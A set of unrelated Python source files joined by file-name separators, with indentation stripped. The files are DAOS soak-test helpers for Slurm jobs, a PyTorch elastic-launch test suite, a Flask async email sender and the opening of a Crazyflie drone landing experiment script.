self.log.info("Valid Pool UUID is %s", self.pool[-1].uuid)
def get_remote_logs(self):
"""Copy files from remote dir to local dir.
Raises:
SoakTestError: if there is an error with the remote copy
"""
# copy the files from the client nodes to a shared directory
command = "/usr/bin/rsync -avtr --min-size=1B {0} {1}/..".format(
self.test_log_dir, self.sharedsoakdir)
result = slurm_utils.srun(
NodeSet.fromlist(self.hostlist_clients), command, self.srun_params)
if result.exit_status == 0:
# copy the local logs and the logs in the shared dir to avocado dir
for directory in [self.test_log_dir, self.sharedsoakdir]:
command = "/usr/bin/cp -R -p {0}/ \'{1}\'".format(
directory, self.outputsoakdir)
try:
result = run_command(command, timeout=30)
except DaosTestError as error:
raise SoakTestError(
"<<FAILED: job logs failed to copy {}>>".format(
error))
# remove the remote soak logs for this pass
command = "/usr/bin/rm -rf {0}".format(self.test_log_dir)
slurm_utils.srun(
NodeSet.fromlist(self.hostlist_clients), command,
self.srun_params)
# remove the local log for this pass
for directory in [self.test_log_dir, self.sharedsoakdir]:
command = "/usr/bin/rm -rf {0}".format(directory)
try:
result = run_command(command)
except DaosTestError as error:
raise SoakTestError(
"<<FAILED: job logs failed to delete {}>>".format(
error))
else:
raise SoakTestError(
"<<FAILED: Soak remote logfiles not copied "
"from clients>>: {}".format(self.hostlist_clients))
def is_harasser(self, harasser):
"""Check if harasser is defined in yaml.
Args:
harasser (list): list of harassers to launch
Returns: bool
"""
return self.h_list and harasser in self.h_list
def launch_harassers(self, harassers, pools):
"""Launch any harasser tests if defined in yaml.
Args:
harasser (list): list of harassers to launch
pools (TestPool): pool obj
"""
job = None
# Launch harasser after one complete pass
for harasser in harassers:
if harasser == "rebuild":
method = launch_rebuild
ranks = self.params.get(
"ranks_to_kill", "/run/" + harasser + "/*")
param_list = (ranks, pools)
name = "REBUILD"
if harasser in "snapshot":
method = launch_snapshot
param_list = ()
name = "SNAPSHOT"
else:
raise SoakTestError(
"<<FAILED: Harasser {} is not supported. ".format(
harasser))
job = threading.Thread(
target=method, args=param_list, name=name)
self.harasser_joblist.append(job)
# start all harassers
for job in self.harasser_joblist:
job.start()
def harasser_completion(self, timeout):
"""Complete harasser jobs.
Args:
timeout (int): timeout in secs
Returns:
bool: status
"""
status = True
for job in self.harasser_joblist:
job.join(timeout)
for job in self.harasser_joblist:
if job.is_alive():
self.log.error(
"<< HARASSER is alive %s FAILED to join>> ", job.name)
status &= False
# Check if the completed job passed
for harasser, status in self.harasser_results.items():
if not status:
self.log.error(
"<< HARASSER %s FAILED>> ", harasser)
status &= False
self.harasser_joblist = []
return status
def launch_rebuild(self, ranks, pools):
"""Launch the rebuild process.
Args:
ranks (list): Server ranks to kill
pools (list): list of TestPool obj
"""
self.log.info("<<Launch Rebuild>> at %s", time.ctime())
status = True
for pool in pools:
# Kill the server
try:
pool.start_rebuild(ranks, self.d_log)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error("Rebuild failed to start", exc_info=error)
status &= False
break
# Wait for rebuild to start
try:
pool.wait_for_rebuild(True)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error(
"Rebuild failed waiting to start", exc_info=error)
status &= False
break
# Wait for rebuild to complete
try:
pool.wait_for_rebuild(False)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error(
"Rebuild failed waiting to finish", exc_info=error)
status &= False
break
with H_LOCK:
self.harasser_results["REBUILD"] = status
def launch_snapshot(self):
"""Create a basic snapshot of the reserved pool."""
self.log.info("<<Launch Snapshot>> at %s", time.ctime())
status = True
# Create container
container = TestContainer(self.pool[0])
container.namespace = "/run/container_reserved/*"
container.get_params(self)
container.create()
container.open()
obj_cls = self.params.get(
"object_class", '/run/container_reserved/*')
# write data to object
data_pattern = get_random_string(500)
datasize = len(data_pattern) + 1
dkey = "dkey"
akey = "akey"
obj = container.container.write_an_obj(
data_pattern, datasize, dkey, akey, obj_cls=obj_cls)
obj.close()
# Take a snapshot of the container
snapshot = DaosSnapshot(self.context)
try:
snapshot.create(container.container.coh)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error("Snapshot failed", exc_info=error)
status &= False
if status:
self.log.info("Snapshot Created")
# write more data to object
data_pattern2 = get_random_string(500)
datasize2 = len(data_pattern2) + 1
dkey = "dkey"
akey = "akey"
obj2 = container.container.write_an_obj(
data_pattern2, datasize2, dkey, akey, obj_cls=obj_cls)
obj2.close()
self.log.info("Wrote additional data to container")
# open the snapshot and read the data
obj.open()
snap_handle = snapshot.open(container.container.coh)
try:
data_pattern3 = container.container.read_an_obj(
datasize, dkey, akey, obj, txn=snap_handle.value)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error(
"Error when retrieving the snapshot data %s", error)
status &= False
if status:
# Compare the snapshot to the original written data.
if data_pattern3.value != data_pattern:
self.log.error("Snapshot data miscompere")
status &= False
# Destroy the snapshot
try:
snapshot.destroy(container.container.coh)
except (RuntimeError, TestFail, DaosApiError) as error:
self.log.error("Failed to destroy snapshot %s", error)
status &= False
# cleanup
container.close()
container.destroy()
with H_LOCK:
self.harasser_results["SNAPSHOT"] = status
def get_srun_cmd(cmd, nodesperjob=1, ppn=1, srun_params=None, env=None):
"""Wrap cmdline in a srun cmdline.
Args:
cmd (str): cmdline to wrap in srun cmdline
ppn (int): processes per node
nodesperjob(int): number of nodes
srun_params(dict): additional srun_params
env (dict): env variables to pass on cmdline
Returns:
cmdlines: cmdline string
"""
srun_cmd = Srun(cmd)
srun_cmd.nodes.update(nodesperjob)
srun_cmd.ntasks_per_node.update(ppn)
if srun_params:
for key, value in srun_params.items():
key_obj = getattr(srun_cmd, key)
if isinstance(key_obj, BasicParameter):
key_obj.update(value, key)
else:
raise SoakTestError(
"<<FAILED: The srun param {} does not exist".format(key))
if env:
srun_cmd.assign_environment(env)
return str(srun_cmd)
def create_ior_cmdline(self, job_spec, pool, ppn, nodesperjob):
"""Create an IOR cmdline to run in slurm batch.
Args:
job_spec (str): ior job in yaml to run
pool (obj): TestPool obj
ppn(int): number of tasks to run on each node
nodesperjob(int): number of nodes per job
Returns:
cmd: cmdline string
"""
commands = []
iteration = self.test_iteration
ior_params = "/run/" + job_spec + "/*"
mpi_module = self.params.get(
"mpi_module", "/run/", default="mpi/mpich-x86_64")
# IOR job specs with a list of parameters; update each value
api_list = self.params.get("api", ior_params + "*")
tsize_list = self.params.get("transfer_size", ior_params + "*")
bsize_list = self.params.get("block_size", ior_params + "*")
oclass_list = self.params.get("dfs_oclass", ior_params + "*")
plugin_path = self.params.get("plugin_path", "/run/hdf5_vol/")
# check if capable of doing rebuild; if yes then dfs_oclass = RP_*GX
if is_harasser(self, "rebuild"):
oclass_list = self.params.get("dfs_oclass", "/run/rebuild/*")
# update IOR cmdline for each additional IOR obj
for api in api_list:
for b_size in bsize_list:
for t_size in tsize_list:
for o_type in oclass_list:
ior_cmd = IorCommand()
ior_cmd.namespace = ior_params
ior_cmd.get_params(self)
if iteration is not None and iteration < 0:
ior_cmd.repetitions.update(1000000)
if self.job_timeout is not None:
ior_cmd.max_duration.update(self.job_timeout)
else:
ior_cmd.max_duration.update(10)
if api == "HDF5-VOL":
ior_cmd.api.update("HDF5")
else:
ior_cmd.api.update(api)
ior_cmd.block_size.update(b_size)
ior_cmd.transfer_size.update(t_size)
ior_cmd.dfs_oclass.update(o_type)
if ior_cmd.api.value == "DFS":
ior_cmd.test_file.update(
os.path.join("/", "testfile"))
ior_cmd.set_daos_params(self.server_group, pool)
env = ior_cmd.get_default_env("srun")
sbatch_cmds = ["module load -q {}".format(mpi_module)]
# include dfuse cmdlines
if api in ["HDF5-VOL", "POSIX"]:
dfuse, dfuse_start_cmdlist = start_dfuse(
self, pool, nodesperjob, "SLURM")
sbatch_cmds.extend(dfuse_start_cmdlist)
ior_cmd.test_file.update(
os.path.join(dfuse.mount_dir.value, "testfile"))
# add envs if api is HDF5-VOL
if api == "HDF5-VOL":
env["HDF5_VOL_CONNECTOR"] = "daos"
env["HDF5_PLUGIN_PATH"] = "{}".format(plugin_path)
# env["H5_DAOS_BYPASS_DUNS"] = 1
srun_cmd = Srun(ior_cmd)
srun_cmd.assign_processes(nodesperjob * ppn)
srun_cmd.assign_environment(env, True)
srun_cmd.ntasks_per_node.update(ppn)
srun_cmd.nodes.update(nodesperjob)
sbatch_cmds.append(str(srun_cmd))
sbatch_cmds.append("status=$?")
if api in ["HDF5-VOL", "POSIX"]:
sbatch_cmds.extend(
stop_dfuse(dfuse, nodesperjob, "SLURM"))
sbatch_cmds.append("exit $status")
log_name = "{}_{}_{}_{}".format(
api, b_size, t_size, o_type)
commands.append([sbatch_cmds, log_name])
self.log.info(
"<<IOR {} cmdlines>>:".format(api))
for cmd in sbatch_cmds:
self.log.info("%s", cmd)
return commands
def start_dfuse(self, pool, nodesperjob, resource_mgr=None):
"""Create dfuse start command line for slurm.
Args:
pool (obj): TestPool obj
Returns dfuse(obj): Dfuse obj
cmd(list): list of dfuse commands to add to jobscript
"""
# Get Dfuse params
dfuse = Dfuse(self.hostlist_clients, self.tmp)
dfuse.get_params(self)
# update dfuse params; mountpoint for each container
unique = get_random_string(5, self.used)
self.used.append(unique)
mount_dir = dfuse.mount_dir.value + unique
dfuse.mount_dir.update(mount_dir)
dfuse.set_dfuse_params(pool)
dfuse.set_dfuse_cont_param(self.get_container(pool))
dfuse_start_cmds = [
"mkdir -p {}".format(dfuse.mount_dir.value),
"clush -w $SLURM_JOB_NODELIST \"cd {};{}\"".format(
dfuse.mount_dir.value, dfuse.__str__()),
"sleep 10",
"df -h {}".format(dfuse.mount_dir.value),
]
if resource_mgr == "SLURM":
cmds = []
for cmd in dfuse_start_cmds:
if cmd.startswith("clush") or cmd.startswith("sleep"):
cmds.append(cmd)
else:
cmds.append(get_srun_cmd(cmd, nodesperjob))
dfuse_start_cmds = cmds
return dfuse, dfuse_start_cmds
def stop_dfuse(dfuse, nodesperjob, resource_mgr=None):
"""Create dfuse stop command line for slurm.
Args:
dfuse (obj): Dfuse obj
Returns cmd(list): list of cmds to pass to slurm script
"""
dfuse_stop_cmds = [
"fusermount3 -uz {0}".format(dfuse.mount_dir.value),
"rm -rf {0}".format(dfuse.mount_dir.value)
]
if resource_mgr == "SLURM":
cmds = []
for dfuse_stop_cmd in dfuse_stop_cmds:
cmds.append(get_srun_cmd(dfuse_stop_cmd, nodesperjob))
dfuse_stop_cmds = cmds
return dfuse_stop_cmds
def cleanup_dfuse(self):
"""Cleanup and remove any dfuse mount points."""
cmd = [
"/usr/bin/bash -c 'pkill dfuse",
"for dir in /tmp/daos_dfuse*",
"do fusermount3 -uz $dir",
"rm -rf $dir",
"done'"]
try:
slurm_utils.srun(
NodeSet.fromlist(
self.hostlist_clients), "{}".format(
";".join(cmd)), self.srun_params)
except slurm_utils.SlurmFailed as error:
self.log.info(
"<<FAILED: Dfuse directories not deleted %s >>", error)
def create_fio_cmdline(self, job_spec, pool):
"""Create the FOI commandline for job script.
Args:
job_spec (str): fio job in yaml to run
pool (obj): TestPool obj
ppn(int): number of tasks to run on each node
Returns:
cmd(list): list of cmdlines
"""
commands = []
fio_namespace = "/run/{}".format(job_spec)
# test params
bs_list = self.params.get("blocksize", fio_namespace + "/soak/*")
size_list = self.params.get("size", fio_namespace + "/soak/*")
rw_list = self.params.get("rw", fio_namespace + "/soak/*")
# Get the parameters for Fio
fio_cmd = FioCommand()
fio_cmd.namespace = "{}/*".format(fio_namespace)
fio_cmd.get_params(self)
for blocksize in bs_list:
for size in size_list:
for rw in rw_list:
# update fio params
fio_cmd.update(
"global", "blocksize", blocksize,
"fio --name=global --blocksize")
fio_cmd.update(
"global", "size", size,
"fio --name=global --size")
fio_cmd.update(
"global", "rw", rw,
"fio --name=global --rw")
srun_cmds = []
# add srun start dfuse cmds if api is POSIX
if fio_cmd.api.value == "POSIX":
# Connect to the pool, create container
# and then start dfuse
dfuse, srun_cmds = start_dfuse(self, pool, nodesperjob=1)
# Update the FIO cmdline
fio_cmd.update(
"global", "directory",
dfuse.mount_dir.value,
"fio --name=global --directory")
# add fio cmline
srun_cmds.append(str(fio_cmd.__str__()))
srun_cmds.append("status=$?")
# If posix, add the srun dfuse stop cmds
if fio_cmd.api.value == "POSIX":
srun_cmds.extend(stop_dfuse(dfuse, nodesperjob=1))
# exit code
srun_cmds.append("exit $status")
log_name = "{}_{}_{}".format(blocksize, size, rw)
commands.append([srun_cmds, log_name])
self.log.info("<<Fio cmdlines>>:")
for cmd in srun_cmds:
self.log.info("%s", cmd)
return commands
def build_job_script(self, commands, job, ppn, nodesperjob):
"""Create a slurm batch script that will execute a list of cmdlines.
Args:
commands(list): commandlines and cmd specific log_name
job(str): the job name that will be defined in the slurm script
ppn(int): number of tasks to run on each node
Returns:
script_list: list of slurm batch scripts
"""
self.log.info("<<Build Script>> at %s", time.ctime())
script_list = []
# if additional cmds are needed in the batch script
additional_cmds = []
# Create the sbatch script for each list of cmdlines
for cmd, log_name in commands:
if isinstance(cmd, str):
cmd = [cmd]
output = os.path.join(
self.test_log_dir, self.test_name + "_" + job + "_" +
log_name + "_" + str(ppn * nodesperjob) + "_%N_" + "%j_")
error = os.path.join(
self.test_log_dir, self.test_name + "_" + job + "_" +
log_name + "_" +
str(ppn * nodesperjob) + "_%N_" + "%j_" + "ERROR_")
sbatch = {
"time": str(self.job_timeout) + ":00",
"exclude": NodeSet.fromlist(self.exclude_slurm_nodes),
"error": str(error),
"export": "ALL"
}
# include the cluster specific params
sbatch.update(self.srun_params)
unique = get_random_string(5, self.used)
script = slurm_utils.write_slurm_script(
self.test_log_dir, job, output, nodesperjob,
additional_cmds + cmd, unique, sbatch)
script_list.append(script)
self.used.append(unique)
return script_list
class SoakTestError(Exception):
"""Soak exception class."""
|
run_test.py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
import multiprocessing as mp
import os
import shutil
import subprocess
import tempfile
import unittest
import uuid
from contextlib import closing
from unittest import mock
from unittest.mock import Mock, patch
import torch.distributed.run as launch
from torch.distributed.elastic.agent.server.api import RunResult, WorkerState
from torch.distributed.elastic.multiprocessing.errors import ChildFailedError
from torch.distributed.elastic.rendezvous.etcd_server import EtcdServer
from torch.distributed.elastic.utils import get_socket_with_port
from torch.testing._internal.common_utils import (
TEST_WITH_ASAN,
TEST_WITH_TSAN,
)
def launch_in_proc(args):
launch.main(args)
def path(script):
return os.path.join(os.path.dirname(__file__), script)
def get_child_pids(pid):
pgrep = subprocess.Popen(args=f"pgrep -P {pid}", shell=True, stdout=subprocess.PIPE)
pgrep.wait()
out = pgrep.stdout.read().decode("utf-8").rstrip().split("\n")
pids = []
for pid in out:
if pid:
pids.append(int(pid))
return pids
def pid_exists(pid):
try:
os.kill(pid, 0)
return True
except OSError:
return False
class MockException(Exception):
pass
class ElasticLaunchTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
# start a standalone, single process etcd server to use for all tests
cls._etcd_server = EtcdServer()
cls._etcd_server.start()
cls._etcd_endpoint = cls._etcd_server.get_endpoint()
@classmethod
def tearDownClass(cls):
# stop the standalone etcd server
cls._etcd_server.stop()
def setUp(self):
self.test_dir = tempfile.mkdtemp()
# remove any lingering environment variables
for env in os.environ.keys():
if env.startswith("PET_"):
del os.environ[env]
# set a sentinel env var on the parent proc
# this should be present on the child and gets
# asserted in ``bin/test_script.py``
os.environ["TEST_SENTINEL_PARENT"] = "FOOBAR"
def tearDown(self):
shutil.rmtree(self.test_dir)
def test_launch_user_script_python(self):
run_id = str(uuid.uuid4().int)
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
launch.main(args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
def test_launch_user_script_python_caffe2_bc(self):
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
sock = get_socket_with_port()
with closing(sock):
master_port = sock.getsockname()[1]
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--monitor_interval=1",
"--start_method=fork",
"--master_addr=localhost",
f"--master_port={master_port}",
"--node_rank=0",
"--use_env",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
launch.main(args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_user_script_bash(self):
run_id = str(uuid.uuid4().int)
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--start_method=fork",
"--no_python",
]
script_args = [path("bin/test_script.sh"), f"{self.test_dir}"]
with self.assertRaises(ValueError):
# --no_python cannot be used with --module
launch.main(args + ["--module"] + script_args)
launch.main(args + script_args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_with_env_vars(self):
run_id = str(uuid.uuid4().int)
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
os.environ["PET_NNODES"] = str(nnodes)
os.environ["PET_NPROC_PER_NODE"] = str(nproc_per_node)
os.environ["PET_RDZV_BACKEND"] = "etcd"
os.environ["PET_RDZV_ENDPOINT"] = self._etcd_endpoint
os.environ["PET_RDZV_ID"] = run_id
os.environ["PET_MONITOR_INTERVAL"] = "1"
os.environ["PET_START_METHOD"] = "fork"
os.environ["PET_NO_PYTHON"] = "1"
script_args = [path("bin/test_script.sh"), f"{self.test_dir}"]
with self.assertRaises(ValueError):
# --no_python cannot be used with --module
os.environ["PET_MODULE"] = "1"
launch.main(script_args)
os.environ["PET_MODULE"] = "0"
launch.main(script_args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
def _test_nproc_launch_configuration(self, nproc_type, expected_number):
run_id = str(uuid.uuid4().int)
nnodes = 1
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_type}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--start_method=fork",
"--no_python",
]
script_args = [path("bin/test_script.sh"), f"{self.test_dir}"]
launch.main(args + script_args)
world_size = nnodes * expected_number
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_nproc_launch_auto_configurations(self):
self._test_nproc_launch_configuration("auto", os.cpu_count())
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_nproc_launch_number_configurations(self):
self._test_nproc_launch_configuration("4", 4)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_nproc_launch_unknown_configurations(self):
with self.assertRaises(ValueError):
self._test_nproc_launch_configuration("unknown", 4)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
@patch("torch.cuda.is_available", return_value=True)
@patch("torch.cuda.device_count", return_value=3)
def test_nproc_gpu_launch_configurations(self, _mock1, _mock2):
self._test_nproc_launch_configuration("auto", 3)
self._test_nproc_launch_configuration("gpu", 3)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_elastic(self):
run_id = str(uuid.uuid4().int)
min_nodes = 1
max_nodes = 2
nproc_per_node = 4
# we are only launching 1 node (even though max = 2)
world_size = nproc_per_node
args = [
f"--nnodes={min_nodes}:{max_nodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
launch.main(args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@mock.patch("torch.distributed.elastic.events.record")
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_elastic_worker_raise_exception(self, record_mock):
"""
Asserts that when the worker program fails and lancher raieses exception
to indicate that worker process failed
"""
run_id = str(uuid.uuid4().int)
min_nodes = 1
max_nodes = 2
nproc_per_node = 4
args = [
f"--nnodes={min_nodes}:{max_nodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--max_restarts=0",
"--start_method=fork",
path("bin/test_script.py"),
"--fail",
]
with self.assertRaises(ChildFailedError):
launch.main(args)
record_mock.assert_called_once()
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
@mock.patch(
"torch.distributed.elastic.agent.server.local_elastic_agent.LocalElasticAgent.run"
)
@mock.patch("torch.distributed.elastic.events.record")
def test_launch_elastic_agent_raise_exception(self, record_mock, mock_agent_run):
"""
Asserts that when the agent raises an exception
the launcher re-raises the original exception
"""
run_id = str(uuid.uuid4().int)
min_nodes = 1
max_nodes = 2
nproc_per_node = 4
args = [
f"--nnodes={min_nodes}:{max_nodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--max_restarts=0",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
mock_agent_run.side_effect = MockException
with self.assertRaises(MockException):
launch.main(args)
record_mock.assert_called_once()
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_standalone(self):
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--standalone",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
launch.main(args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_run_path(self):
nnodes = 1
nproc_per_node = 4
world_size = nnodes * nproc_per_node
args = [
"--run_path",
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
launch.main(args)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
@unittest.skipIf(TEST_WITH_ASAN or TEST_WITH_TSAN, "test incompatible with tsan")
def test_launch_elastic_multiple_agents(self):
run_id = str(uuid.uuid4().int)
min_nodes = 1
max_nodes = 2
nproc_per_node = 4
nnodes = 2
world_size = nnodes * nproc_per_node
args = [
f"--nnodes={min_nodes}:{max_nodes}",
f"--nproc_per_node={nproc_per_node}",
"--rdzv_backend=etcd",
f"--rdzv_endpoint={self._etcd_endpoint}",
f"--rdzv_id={run_id}",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
procs = []
for _ in range(nnodes - 1):
p = mp.Process(target=launch.main, args=[args])
procs.append(p)
p.start()
launch.main(args)
for i in range(nnodes - 1):
p = procs[i]
p.join()
self.assertEqual(0, p.exitcode)
# make sure all the workers ran
# each worker touches a file with its global rank as the name
self.assertSetEqual(
{str(i) for i in range(world_size)}, set(os.listdir(self.test_dir))
)
def test_min_max_nodes_parse(self):
min_nodes, max_nodes = launch.parse_min_max_nnodes("1")
self.assertTrue(min_nodes, max_nodes)
self.assertTrue(1, min_nodes)
min_nodes, max_nodes = launch.parse_min_max_nnodes("2:20")
self.assertTrue(2, min_nodes)
self.assertTrue(20, max_nodes)
with self.assertRaises(RuntimeError):
launch.parse_min_max_nnodes("2:20:30")
@patch("torch.distributed.launcher.api.LocalElasticAgent")
def test_launch_shutdown(self, agent_mock_cls):
nnodes = 1
nproc_per_node = 4
args = [
f"--nnodes={nnodes}",
f"--nproc_per_node={nproc_per_node}",
"--monitor_interval=1",
"--start_method=fork",
path("bin/test_script.py"),
f"--touch_file_dir={self.test_dir}",
]
agent_mock = Mock()
agent_mock.run.return_value = RunResult(WorkerState.SUCCEEDED)
agent_mock_cls.return_value = agent_mock
rdzv_handler_mock = Mock()
with patch(
"torch.distributed.elastic.rendezvous.registry.get_rendezvous_handler"
) as param_mock:
param_mock.return_value = rdzv_handler_mock
launch.main(args)
rdzv_handler_mock.shutdown.assert_called_once()
|
email.py | from app.extensions import mail
from flask_mail import Message
from flask import current_app,render_template # 当前实例
from threading import Thread # 导入多线程
# 异步发送邮件
def send_async_email(app, msg):
with app.app_context():
mail.send(msg)
# 邮件发送给谁，邮件主题，模板 网页和客户端 其他参数
def send_mail(to_name,subject,template,**kwargs):
# 创建邮件对象
msg = Message(subject=subject,
recipients=[to_name], # 发送给谁
sender=current_app.config['MAIL_USERNAME'], # 发送方
)
# 网页版 打开邮件
msg.html = render_template(template+'.html',**kwargs)
# 终端 打开邮件
msg.body = render_template(template+'.txt',**kwargs)
# 发送邮件
Thread(target=send_async_email, args=(current_app._get_current_object(), msg)).start()
return '邮件已发送'
|
swarmskin1.py | #!/usr/bin/env python
import rospy
import crazyflie
import time
import uav_trajectory
import swarmlib
import message_filters
from geometry_msgs.msg import PoseStamped, TransformStamped
import os
import sys
from multiprocessing import Process
import random
import numpy as np
from math import *
def start_recording(cf_names, lp_names, folder_name='test'):
topics = ''
for name in cf_names:
topics += '/vicon/'+name+'/'+name + ' '
for name in lp_names:
topics += '/vicon/'+name+'/'+name + ' '
os.system("mkdir -p "+PATH+folder_name)
os.system("rosbag record -o "+PATH+folder_name+"/" + lp + ' ' +topics + ' __name:=recorder')
def land_detector():
print "Land Detector..."
land_time = - np.ones( min(len(drone_list), len(lp_list)) )
switched_off = np.zeros(len(drone_list))
landed_drones_number = 0
while not rospy.is_shutdown():
for drone in drone_list: drone.pose = drone.position()
for lp in lp_list: lp.pose = lp.position()
for d in range(len(drone_list)):
for l in range(len(lp_list)):
print abs(drone_list[d].pose[0] - lp_list[l].pose[0]), abs(drone_list[d].pose[1] - lp_list[l].pose[1]), abs(drone_list[d].pose[2] - lp_list[l].pose[2])
if abs(drone_list[d].pose[0] - lp_list[l].pose[0])<0.10 and abs(drone_list[d].pose[1] - lp_list[l].pose[1])<0.10 and abs(drone_list[d].pose[2] - lp_list[l].pose[2])<0.07:
if switched_off[d]==0:
print "Switch off the motors, %d drone" %d
landed_drones_number += 1
# print "rosnode kill /node_"+cf_names[0]+"_"+lp_names[0]
if data_recording:
time.sleep(0.1)
os.system("rosnode kill /recorder")
if toFly:
for t in range(3): cf_list[d].stop() # stop motors
switched_off[d] = 1
# print "Drones landed: ", landed_drones_number
if landed_drones_number==len(drone_list): rospy.signal_shutdown("landed")
rospy.init_node('test_high_level')
""" initialization """
# Names and variables
TAKEOFFHEIGHT = 2.0
data_recording = 1
toFly = 1
PATH = "~/Desktop/Swarm/Swarmskin/data/"
cf_name = 'cf1'
cf_names = [cf_name]
lp_names = ['lp1', 'lp2', 'lp3', 'lp4']
# lp_names = ['lp3', 'lp1', 'lp4']
# lp_names = []
drone = swarmlib.Drone(cf_name)
drone_list = [drone]
lp_list = []
for lp_name in lp_names:
lp_list.append( swarmlib.Mocap_object(lp_name) )
# landing_time = random.choice([13,22]) #13,22
landing_time = 17 # [s] 17, 22, 30, 40
print "landing_time", landing_time
lp = sys.argv[1]
experiment_type = sys.argv[2]
print "go to landing pad location... ", lp
if toFly:
""" takeoff """
print "adding.. ", cf_name
cf = crazyflie.Crazyflie(cf_name, '/vicon/'+cf_name+'/'+cf_name)
cf.setParam("commander/enHighLevel", 1)
cf.setParam("stabilizer/estimator", 2) # Use EKF
cf.setParam("stabilizer/controller", 2) # Use mellinger controller
cf_list = [cf]
print "takeoff.. ", cf.prefix
for t in range(3):
cf.takeoff(targetHeight = TAKEOFFHEIGHT, duration = 5.0)
time.sleep(5.0)
""" going to landing poses """
# r = 0.3; theta1 = pi/4; theta2 = pi/4
# l = 0.230 # distance between drones (arm length)
# width = 0.45 # between person's shoulders
# human_pose = np.array([-1.0,0.0]); hx = human_pose[0]; hy = human_pose[1]
# goto_arr = [ [hx+ (r+l)*cos(theta1), hy+ (r+l)*sin(theta1) +width/2],
# [hx+ r*cos(theta1), hy+ r*sin(theta1) +width/2],
# [hx+ r*cos(theta2), hy- r*sin(theta2) -width/2],
# [hx+ (r+l)*cos(theta2), hy- (r+l)*sin(theta2) -width/2] ]
